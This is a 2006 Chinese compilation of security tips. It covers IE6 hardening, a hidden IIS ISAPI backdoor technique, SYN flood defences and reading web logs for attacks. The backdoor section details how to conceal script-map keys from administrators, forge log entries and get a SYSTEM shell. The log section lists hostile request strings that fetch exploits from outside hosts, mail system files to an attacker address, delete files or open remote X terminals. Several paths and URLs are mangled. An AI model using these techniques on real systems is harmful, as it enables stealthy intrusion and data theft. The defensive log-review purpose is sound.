2006年度巨献电脑安全、杀毒和防毒知识及技巧大合集

 日期:2006-12-13 07时


IE 浏览器防黑十大密技大暴光
治理好Cookie
在IE6.0中,打开“工具”→“Internet选项”→“隐私”对话框,这里设定了“阻止所有Cookie”、“高”、“中高”、“中”、“低”、“接受所有Cookie”六个级别(默认为“中”),你只要拖动滑块就可以方便地进行设定,而点击下方的“编辑”按钮,在“网站地址”中输入特定的网址,就可以将其设定为答应或拒绝它们使用Cookie。

2.禁用或限制使用Java程序及ActiveX控件

在网页中经常使用Java、Java Applet、ActiveX编写的脚本,它们可能会获取你的用户标识、IP地址,乃至口令,甚至会在你的机器上安装某些程序或进行其他操作,因此应对Java、Java小程序脚本、ActiveX控件和插件的使用进行限制。打开“Internet选项”→“安全”→“自定义级别”,就可以设置“ActiveX控件和插件”、“Java”、“脚本”、“下载”、“用户验证”以及其它安全选项。对于一些不太安全的控件或插件以及下载操作,应该予以禁止、限制,至少要进行提示。

  3.防止泄露自己的信息

缺省条件下,用户在第一次使用Web地址、表单、表单的用户名和密码后,同意保存密码,在下一次再进入同样的Web页及输入密码时,只需输入开头部分,后面的就会自动完成,给用户带来了方便,但同时也留下了安全隐患,不过我们可以通过调整“自动完成”功能的设置来解决。设置方法如下:依次点击“Internet选项”→“内容”→“自动完成”,打开“自动完成设置”对话框,选中要使用的“自动完成”复选项。

提醒:为发安全起见,防止泄露自己的一些信息,应该定期清除历史记录,方法是在“自动完成设置”对话框中点击“清除表单”和“清除密码”按钮。

  4.清除已浏览过的网址

在“Internet选项”对话框中的“常规”标签下单击历史记录区域的“清除历史记录”按钮即可。若只想清除部分记录,单击IE工具栏上的“历史”按钮,在左栏的地址历史记录中,找到希望清除的地址或其下网页,单击鼠标右键,从弹出的快捷菜单中选取“删除”。

5.清除已访问过的网页

为了加快浏览速度,IE会自动把你浏览过的网页保存在缓存文件夹“C:/Windows/Temporary Internet Files”下。当你确认不再需要浏览过的网页时,在此选中所有网页,删除即可。或者在“Internet选项”的“常规”标签下单击“Internet临时文件”项目中的“删除文件”按钮,在打开的“删除文件”对话框中选中“删除所有脱机内容”,单击“确定”,这种方法会遗留少许Cookie在文件夹内,为此IE6.0在“删除文件”按钮旁边增加了一个“删除Cookie”的按钮,通过它可以很方便地删除遗留的。



6.永远不怕IE主页地址被修改

众所周知,修改IE默认主页地址是恶意网页常用的一招。IE被修改后,会自动连接到恶意网页的地址。大家常用的方法是修改注册表,其实,只要简单给IE加个参数,就再也不害翴E主页地址被修改了。下面是具体的方法和步骤。

首先,打开“我的电脑”,找到IE的安装目录,这里假设你的IE安装在Crogram FilesInternet Explorer下。进入该文件夹,找到Iexplore.exe文件,对着它点击鼠标右键,在弹出的快捷菜单中选择“发送到→桌面快捷方式”,这样就在桌面上建立了一个Iexplore.exe文件的快捷方式。假如你够仔细的话,你会发现你建立的这个快捷方式名字为“Iexplore.exe”,而桌面上原来的IE快捷方式名字为“Internet Explorer”,两者不仅名字不相同,而且“内涵”也不尽相同。

继续我们的工作,用鼠标右键单击该快捷方式,选择“属性”,会弹出“Iexplore.exe 属性”对话框,选择其中的“快捷方式”标签,然后在“目标”框里填入:"Crogram FilesInternet ExplorerIEXPLORE.EXE" -nohome,给Iexplore.exe加上参数“-nohome”,输入时请大家注重在参数“-nohome”前面有一个空格,不要忘了,输入完毕。点击“确定”退出即可。

这样即使主页被修改也没有关系,打开IE就是一片空白,就连about:blank也不显示。而且这样能够加快启动速度,一点IE窗口马上就出蹦来了。

对于IE在安装时自己建立的快捷方式,我们无法为它加上上述参数。假如不信可以试试,用鼠标右键点击桌面上原来IE自建的快捷方式,选“属性”,会发现“目标”栏、“起始位置”栏、“快捷键”栏和“运行方式”栏都是灰色不可选取状态。这就是它们之间最大的不同!也是本文的要害所在。

7.挖出IE本地安全配置选项

在IE中可以通过点击“工具→Internet选项→安全”来设定电脑安全等级,之后会出现。从图中可以看出,在安全性设定中我们只能设定Internet、本地Intranet、受信任的站点、受限制的站点。不过,惯于隐藏其部分功能的微软(真不知微软是怎么想的,老和我们玩“捉迷藏”游戏),在这里又留了一手:其实这里还有一个隐藏的选项——就是“我的电脑”的安全性设定,假如你想看到它,可以通过修改注册表的方法来达到目的。

下面是具体的方法:打开“开始”菜单中的“运行”,在弹出的“运行”对话框中输入Regedit.exe,打开注册表编辑器,点击前面的“ ”号顺次展开到:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”,在这里你可以对IE的本地安全进行配置。

这个小技巧有什么用呢?把下面的代码保存为一个html文件,然后运行试试就知道了:

运行上面的html文件,会打开你的计算机中c:/winnt/system32文件夹下的calc.exe文件!而且IE没有任何提示!即使在IE的安全设置中禁用ActiveX控件上述代码也能工作!假如不是calc.exe文件而是其他恶意文件又会怎么样?假如是在你浏览的网页中含有类似上面的代码又会怎么样?真危险啊!

之所以会这样是由于IE存在两个可怕的漏洞:可本地执行任意命令,IE的ActiveX安全设置可被绕过。在上述代码中我们给IE指定了一个系统中并不存在的控件号("clsid:88888888-8888-8888-8888-888888888888),IE会试图从codebase指定的地址去下载并安装改控件。根据codebase于是IE找到了c:/winnt/system32/calc.exe,接着IE开始“下载”并安装该程序。由于calc.exe是EXE文件,这样就等于是在运行该文件,所以calc.exe就被运行了!

那么为什么IE在“下载安装控件”过程中不提示用户,也不应用IE安全设置中的限定进行检测呢?这就是IE的ActiveX安全设置可被绕过漏洞造成的!其主要原因是IE安全设置都是针对非本地的页面或交互的,对于本地的安全设置IE是最大信任的。假如你注重看IE的安全设置,都是对Internet和Intranet上WEB服务器而言的,根本就没有对本地文件的安全设置。概括说来就是IE对本地安全采用最大信任原则。

解决的办法就是我们在开始说的那个技巧:挖出挖出IE本地安全配置选项,即修改IE安全设置中有关“我的电脑”的设置,选定后,禁用ActiveX下载就万事大吉了。


8.在DOS下打开“Internet属性”窗口

有时在浏览了某些恶意网页后,会导致IE的“Internet属性”对话框无法打开,这时我们可以在DOS窗口下输入:RunDll32.exe shell32.dll,Control_RunDLL inetcpl.cpl命令,就可打开IE的“Internet属性”对话框。要注重“Control_RunDLL”的大小写以及它前面的逗号(,)不要忘记了。RunDll32.exe是Windows动态链接库(DLL)治理工具,可以用来在命令行下执行动态链接库中的某个函数(或者功能模块)。

RunDll32的使用方法如下:RunDll32.EXE , ,要注重以下几点:

①Dllname(就是制定DLL动态链接库所在位置和文件名)直接不能有空格;

②Dllname和entrypoint两者之间只能以“,”(逗号)分隔,逗号之后不能有空格,假如这里出错的话,你不会得到任何提示;

③optional arguments动态链接库调用参数,这个参数对大小写是很敏感的,注重不要写错。

  9.解除IE的分级审查口令

有些时候,我们的IE会被人修改为设有分级审查口令,一旦被设置了分级审查口令,即使重新安装IE也是没有用的。怎么办呢?难道要格式化硬盘?千万不要!这里我有一个好办法,帮您解决这个问题。

进入注册表,找到HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionpoliciesRatings,这里有一个名为“key”的主键,这就是您设置的分级审查口令,直接将它删除即可。重新启动之后,点击“工具”→“Internet选项”→“内容”→“分级审查”,您会发现分级审查口令已经被复位了。现在您只要输入新的分级审查口令即可。

假如你用的是Windows 9x则更简单了,到C:Windowssystem目录里找到rating.pol文件,要注重这是一个隐藏文件,直接将它删除就可以解决问题了。

10. 预防网页恶意代码

许多恶意网页为防止有人查看其代码内容,采取了各种各样的方法求防止我们查看其源代码。然而,他们的一切努力也许都是白费心机。因为用如下的方法可以轻易地查看其源代码。只要在IE地址栏中输入View-Source:URL即可。举个例子,你想查看搜狐网站http://www.juntuan.net的源代码,只要在IE地址栏中输入:View-Source:http://www.juntuan.net,稍等一下就会弹出一个窗口,里面就是你想看到的网页源代码。赶紧仔细看看,里面是否有更改注册表或暗中下载文件的恶意代码,假如有那就别进该网页了,很简单吧?这样做不仅可以学到别人的网页制作技术,更可以事先预防恶意代码,一举两得!

本文的内容是如何利用IIS本身的一些特性建立后门。当然,这主要是一份供网络治理员和网络安全工作人员参考的“Know Your Enemy”类文档,作者希望这篇文章能够对检查和清除后门有所帮助,而并不鼓励或赞同利用本文的技巧进行违法活动。

  首先简单介绍一下IIS的配置文件MetaBase.bin。这个文件位于%SystemRoot%system32inetsrvMetaBase.bin,包含了几乎所有IIS的配置信息,是非常重要的系统文件。简单的说,我们在“intenet服务治理器”中所作的一切设置最终都会被保存在MetaBase.bin中。在日常的系统治理中除了通过“intenet服务治理器”来对MetaBase.bin进行操作外,Windows还提供了一个脚本adsutil.vbs可以对MetaBase.bin进行操作。

  MetaBase的结构类似于注册表,也是树形结构,有类似键、值、项的概念。事实上在IIS3和PWS中,MetaBase的内容就是存储在注册表中的。MetaBase有两个主键:LM和Schema。其中,Schema保存了系统默认的一些配置,通常不需要修改,一旦改错也非常危险,所以无论是“intenet服务治理器”还是adsutil.vbs都没有提供修改Schema的机制。LM中包含了IIS的HTTP服务,FTP服务,SMTP服务等的配置信息。其中,LM/W3SVC/下是我们要用到的HTTP服务的配置信息。

几个下面会提到的值:

  LM/W3SVC/InProcessIsapiApps,进程内启动ISAPI。这是一个数组,里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继续inetinfo.exe的local system权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,当然,这是IIS默认的安全级别“中”的情况下,假如设为低,那么所有ISAPI都会由inetinfo.exe直接派生。另外,假如设定的时候不指定路径,而是仅指定一个扩展名,那么任何路径下的同名ISAPI在被调用的时候都会以system权限执行。

  ScriptMaps,脚本映射。在某个目录下设定该值后,则向该目录请求的特定扩展名的文件会交给指定的ISAPI执行。需要强调的是,设定ScriptMaps的目录并不一定要真实存在的,只要在MetaBase中某个HTTP实例的root键下建了一个子键,对该字键同名目录的HTTP请求IIS会认为是合法的,并会交由映射的ISAPI处理。这也算是IIS的一个问题吧。

  CreateProcessAsUser,在某个目录下指定改值为0,则该目录下的应用程序会继续inetinfo.exe的local system权限。

  AccessWrite,决定某个目录是否答应写入,也就是WEBDAV的PUT方法。

  AccessExecute,决定某个目录是否答应执行应用程序。

后门思路:

  创建一个特定扩展名的脚本映射,指向我们的ISAPI,并把该ISAPI添加到InProcessIsapiApps列表中。那么我们向服务器请求该扩展名类型文件时就会在服务器上以local system权限执行该ISAPI,且所请求的文件并不需要是真实存在的。

技巧:

  1、既然并不需要真的建一个目录来设定ScriptMaps,那么就可以只写一个键,并给这个键加上ScriptMaps。这样,从“intenet服务治理器”里是看不出这个目录的,更看不到这个ScriptMaps。

  2、虽然“intenet服务治理器”里面看不出来,但是有经验的治理员可能习惯于偶然用adsutil.vbs enum /p来看一下:

# adsutil.vbs enum /p /w3svc/1/root

Microsoft (R) Windows Script Host Version 5.6

版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

[/w3svc/1/root/_vti_bin]

[/w3svc/1/root/evildir]

  这样就暴露了。因为我们设的那个键并不是真实存在的虚拟目录,只是配置文件中的一个字符串,所以可以使用0x08这样的字符来做键值。0x08是Backspace键对应的16进制值,控制台上显示的效果是向左边删除一个字符,其实就是把“/”给删了:

# adsutil.vbs enum /p /w3svc/1/root

Microsoft (R) Windows Script Host Version 5.6

版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

[/w3svc/1/root/_vti_bin]

[/w3svc/1/root]

  面对这种输出,一般人是不会留意的。

  当然也可以设为类似_vti_script,_vti_bin这样的名字,只要不设KeyType,在“intenet服务治理器”中是看不见的。

  因为系统中本身InProcessIsapiApps中有一个WINNTSystem32msw3prt.dll,是.printer的映射,一般用不上。我们可以删掉D:WINNTSystem32msw3prt.dll的值,换上WINNTSystem32inetsrvmsw3prt.dll。

  美中不足的是HTTP请求会留下痕迹,但是HTTP也有好处,那就是可以随便用一个代理服务器做跳板。另外,也可以用插入0x0D 0x0A来伪造日志的方法,(详见《Apache,IIS等多种http服务器答应通过发送回车符伪造日志》一文)这就是构造目录的技巧了。

具体实现:

  当然可以用adsutil.vbs手工来加。不过需要注重,adsutil.vbs只能设,不能改,所以用adsutil.vbs的时候一定要把原先的也加上,否则原先的就会丢失。不同条目之间用空格分开。

  先用下面命令取得当前的InProcessIsapiApps列表: adsutil.vbs get /W3SVC/InProcessIsapiApps

  取到之后把自己的ISAPI路径也加进去。 adsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTSystem32idq.dll" "C:WINNTSystem32inetsrvhttpext.dll" ………………

  ScriptMaps的设定同InProcessIsapiApps。

  当然这样比较麻烦,也无法写入0x08这样的键值,所以我干脆自己写个VBS一次性搞定。至于那个做后门的ISAPI,能实现的功能就完全取决于想象力了。这里是一个简单例子的屏幕拷贝:

# nc 10.11.0.26 80

POST //anything.tom

Microsoft Windows 2000 [Version 5.00.2195]

(C) 版权所有 1985-1998 Microsoft Corp.

C:WINNTsystem32>whoami

NT AUTHORITYSYSTEM

C:WINNTsystem32>exit

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Wed, 08 Jan 2003 06:49:37 GMT

  更隐蔽的方法是写一个非凡的ISAPI,并注册为解析asp的。通常情况下,该程序把收到的请求转给系统原来的asp.dll,并把结果返回,当收到一个非凡POST请求时就启动自己的后门代码,这样日志里面也不会有什么显示。审核时也很难发现。

  除了上面所述利用脚本映射的方法外,还可以赋予某个虚拟目录AccessWrite和AccessExecute权限。需要运行后门的时候利用WEBDAV上载ISAPI,然后运行,使用完了再删除。(是否能删除?还是需要restart W3SVC ?我没有试验。)假如上载的不是DLL而是EXE文件,那么把该目录下的CreateProcessAsUser设为0也可以获得local system权限,这个方法早有人撰文论述。但AccessWrite和AccessExecute的改变都可以在“intenet服务治理器”中看出来,隐蔽性就差了。

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

  要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:

大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:

  首先,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;

  第二步,服务器在收到客户端的SYN报文后,将返回一个SYN ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。

  第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。

  问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后忽然死机或掉线,那么服务器在发出SYN ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但假如有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN ACK的重试。实际上假如服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(究竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

  从防御角度来说,有几种简单的解决方法:

  第一种是缩短SYN Timeout时间,由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度 x SYN Timeout,所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间,例如设置为20秒以下(过低的SYN Timeout设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷。

  第二种方法是设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,假如短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被丢弃。

  可是上述的两种方法只能对付比较原始的SYN Flood攻击,缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依靠于对方使用真实的IP地址,假如攻击者以数万/秒的速度发送SYN报文,同时利用SOCK_RAW随机改写IP报文中的源地址,以上的方法将毫无用武之地。

web站点默认80为服务端口,关于它的各种安全问题不断的发布出来,这些漏洞中一些甚至答应攻击者获得系统治理员的权限进入站点内部,以下是Zenomorph对一些80端口攻击方式的痕迹的研究,和告诉你怎样从日志记录中发现问题。
  具体描述
  下面部分通过一些列子,展示对web服务器和其上的应用程序普遍的攻击,和其留下的痕迹,这些列子仅仅是代表了主要的攻击方式,并没有列出所有的攻击形式,这部分将具体描述每种攻击的作用,和其怎样利用这些漏洞进行攻击。
  (1)"." ".." 和 "..." 请求
  这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于答应攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些".."请求。
  Example:
  http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
  这个列子展示了攻击者请求mosd这个文件,假如攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。
  (2)" " 请求
   是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。
  Example:
  http://host/cgi-bin/lame.cgi?page=ls -al
  这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。
  (3)"" 请求
  表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。
  Examples:
  http://host/cgi-bin/lame.cgi?page=index.html
  这可能是个有效的请求在这个机子上,假如攻击者注重到这个请求动作成功,他会进一步寻找这个cgi程序的问题。
  http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
  也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息
  http://host/cgi-bin/lame.cgi?page=../../../../etc/motdhtml
  注重这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是攻击者常用的方法。
(4)"│" 请求
  这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。
  Example:
  # cat access_log│ grep -i ".."
  (这个命令将显示日志中的“..“请求,常用于发现攻击者和蠕虫攻击)
  常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。
  在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。
  下面给出一些列子:
  http://host/cgi-bin/lame.cgi?page=../../../../bin/ls
  这个请求命令执行,下面是一些变化的列子
  http://host/cgi-bin/lame.cgi?page=../../../../bin/ls -al /etc
  这个请求在unix系统中列出/etc目录的所有文件
  http://host/cgi-bin/lame.cgi?page=cat access_log│grep -i "lame"
  这个请求cat命令的执行并且grep命令也将执行,查询出”lame"
  (5)";" 请求
  在unix系统,这个字符答应多个命令在一行执行
  Example:
  # id;uname -a
  (执行id命令后,紧跟着执行uname命令)
  一些web程序用这个字符,可能导致在你的IDS日志中失败的警告,你应该仔细的检查你的web程序,让你的IDS警报失败的几率降低。
  (6)"<" 和 ">" 请求
  应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中
  Example 1:
  # echo "your hax0red h0 h0" >> /etc/motd (请求写信息在motd这个文件中)
  一个攻击者可以轻易的用象上面的这个请求篡改你的web页面。比如闻名的RDS exploit常被攻击者用于更改web主页面。
  Example 2:
  http://host/something.php=<b>Hi mom Im Bold!</b>
  你会注重到这里html语言的标志,他同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)
  (7)"!"请求
  这种字符请求常用语对SS(Server Side Include) I进行攻击,假如攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。
  Example:
  http://host1/something.php=<! --#include virtual="http://host2
/fake-article.html"-->
  这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)
  同时,这种方式也可以以web站点的权限执行命令
  Example:
  <A href='http://host/something.php="/bin/rm"
  这个命令可以删除文件,假如不正确的使用是非常危险的
  Examples:
  http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm -rf *│
  http://host/cgi-bin/bad.cgi?doh=rm -rf *;
  "wget and tftp" 命令
  这些命令常被攻击者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机
  Examples:
  http://host/cgi-bin/bad.cgi?doh= ... h/to-wget/wget ht
tp://host2/Phantasmp.c│
http://host/cgi-bin/bad.cgi?doh= ... wa-security.net/Pha
ntasmp.c;
  "cat" 命令
  这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat /etc/motd
http://host/cgi-bin/bad.cgi?doh=cat /etc/motd;
  "echo" 命令
  这个命令常用于写数据到文件中,比如“index.html”
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo "fc-#kiwis was here" >> 0day.txt│
http://host/cgi-bin/bad.cgi?doh=echo "fc-#kiwis was here" >> 0day.txt;
"ps" 命令
  列出当前运行的进程,告诉攻击者远程主机运行了那些软件,以便从中得到一些安全问题的主意,获得进一步的权限
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps -aux
http://host/cgi-bin/bad.cgi?doh=ps -aux;
  "kill and killall" 命令
  在unix系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序,同时可以擦掉攻击者的痕迹,一些exploit会产生很多的子进程
  Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill -9 0
http://host/cgi-bin/bad.cgi?doh=kill -9 0;
  "uname" 命令
  这个命令告诉攻击者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是攻击者曾今访问过的。通常uname -a来请求,这些都将记录在日志文件中
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname -a
http://host/cgi-bin/bad.cgi?doh=uname -a;
  "cc, gcc, perl, python, etc..." 编译/解释命令
  攻击者通过wget或者tftp下载exploit,并用cc,gcc这样的编译程序进行编译成可执行程序,进一步获得特权
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc Phantasmp.c
http://host/cgi-bin/bad.cgi?doh= ... /a.out -p 31337
;
  假如你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ,python脚本程序,并试图本地获得特权
  "mail" 命令
  攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱,也肯能是进行邮件炸弹的攻击
  Examples:
http://host/cgi-bin/bad.cgi?doh= ... l attacker@fuckcn
honker.org << /etc/motd│
[url]http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov [/url]
<</tmp/wu-2.6.1.c;
  "xterm/其他X 应用程序" 命令
  xterm 常用来获得远程机器上的shell,假如你在你的日志中发现这些符号,可要认真分析你的系统,可能已经存在安全裂口。注重在日志中查找" -display " 这个字符,这种痕迹通常是在远程机子上启动xterm或者X应用程序
  Examples:
http://host/cgi-bin/bad.cgi?doh= ... play 192.168.22.1
http://host/cgi-bin/bad.cgi?doh=Xeyes -display 192.168.22.1;
  "chown, chmod, chgrp, chsh, etc..." 等命令
  在unix系统这些命令答应改变文件的许可权限
  chown = 答应设置文件的拥有者chmod = 答应设置文件的许可权限chgrp =答应改变组对文件的拥有权限chsh = 答应改变用户的shell
  Examples:
http://host/cgi-bin/bad.cgi?doh= ... od 777 index.ht
ml│ http://host/cgi-bin/bad.cgi?doh=chmod 777 index.html;
http://host/cgi-bin/bad.cgi?doh= ... wn zeno /etc/ma
ster.passwd│ http://host/cgi-bin/bad.cgi?doh=chsh /bin/sh;
http://host/cgi-bin/bad.cgi?doh= ... rp nobody /etc/
shadow│
  "/etc/passwd" 文件
  这是系统的密码文件,一般是shadow过的,并且不答应看到加密的口令,不过对攻击者来说,可以知道那些是有效的用户,以及系统的绝对路径,站点名称等信息,由于通常被shadow过的,所以对攻击者,通常会查看/etc/shadow 文件
  "/etc/master.passwd"
  这个文件是BSD系统的密码文件,包含有加密过的密码,这个文件对root帐号仅仅是只读的,而一些不熟练的攻击者会打开他试图读取里面的内容.,假如web站点是以root权限运行的,那么对攻击者来说,就能够读取里面的内容,对系统治理员很多问题也将接踵而来
  "/etc/shadow"
  包含有加密过的系统口令,对root帐号同样只读,和/et/master.passwd差不多
  "/etc/motd"
  当用户登陆进unix系统中出现的信息,就在这个"Message of the Day" 文件中 ,它提供重要的系统信息和治理员对用户的一些设置,那些是希望用户看到的,那些不是,还含有系统的版本信息,攻击者通常查看此文件,了解是什么系统在运行,对攻击者来说,下一步是搜索这种类型的系统的exploit,进一步获得系统特权

  "/etc/hosts"
  该文件提供ip地址和网络信息,攻击者可以了解更多的系统中的网络设置
  "/usr/local/apache/conf/httpd.conf"
  这是个Apache web服务器的配置文件,攻击者可以了解诸如cgi,ssi是否可访问等信息
  "/etc/inetd.conf"
  这是inetd服务的配置文件,攻击者可以了解远程机器上的那些服务启动,是否用了wrapper进行访问控制,假如发现wrapper 运行着,攻击者下一步会检查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,并可能会更改里面的一些设置,获得特权
  ".htpasswd, .htaccess, and .htgroup"
  这些文件通常在web站点用于对用户身份进行认证,攻击者会查看这些文件,并获得用户名和密码,密码文件.htpasswd被加密过,通过一些简单的破解程序进行解密,使攻击者访问站点中被保护的区域(通常用户用和用户名相同的密码,以至攻击者可以以其他帐号进行访问)
  "access_log and error_log"
  这些是apache服务器的日志记录文件,攻击者常会查看这些文件,看那些请求被记录,那些和其他请求不同的地方
  通常,攻击者会修改这些日志文件,比如他自身的地址信息,攻击者通过80端口突破你的系统,而你的系统又没有进行备份的工作,也没有其他记录程序记录系统状况,这将使入侵检测工作变的很困难
  "[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"
  Windows NT系统中的密码文件,假如远程命令不可以执行,通常攻击者会请求这些文件,然后通过"l0pht crack"之类的密码破解工具进行破解,假如攻击者试图攻击administrator的密码文件,假如成功那么远程机器将被攻击者得到控制权
  溢出 分析
  我不会在这篇文章中说过多的关于溢出的话题,我将举列说明那些现象和痕迹值得注重和非凡关注的地方,缓冲攻击常被攻击者通过编码转换和其他途径来达到不易发现
  下面是个简单的列子
Example: http://host/cgi-bin/helloworld?type=AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
  这个列子展示了攻击者对某个应用程序发送很多的A字符,来测试程序的缓冲溢出,缓冲溢出可以获得远程主机的命令执行权限,假如是具有setuid和属主为root的程序,通过溢出,可以得到整个系统的访问权限,假如不是setuid之类的程序,那么溢出仅仅是得到运行该web站点的用户权限
  这里并不能讲述所有的情况,不过你应该有定时的检查你的日志文件,假如那一天忽然发现很多的请求,而平时的请求不多,那么说明你正遭受到溢出的攻击,当然也可能是一种新的网络蠕虫的攻击
  编码转换
  以上提及的所有攻击请求,攻击者通常知晓IDS系统常会机械的检查这些请求,通常是攻击者会用编码转换工具将所请求的内容转化成16进制的格式,导致IDS会忽略这些请求,我们熟知的CGI漏洞扫描工具Whisker就是个很好的列子。
假如你在查看日志的时候发现大量的16进制和不常见的一些字符,那么可能攻击者尝试用一些方式对你的系统进行攻击。
  一种快速发现的方法是,将你的日志文件中的那些16进制的请求,拷贝到你的浏览器中,通过浏览器可以转化成正确的请求,并显示出来请求的内容,假如你不敢冒这个危险,简单的man ASCII,可以提供给你正确的编码。
  结论
  这篇文章不可能覆盖所有的80端口的攻击,但是以上已经列举了大部分普遍的攻击方式,同时告诉你如何检查你的日志文件,和怎样加如一些IDS的规则,写她的目的在于给web系统治理员应该关注什么提供一个好的思路,同时,我也希望这篇文章可以帮助给web程序的开发者写出更好的web程序。

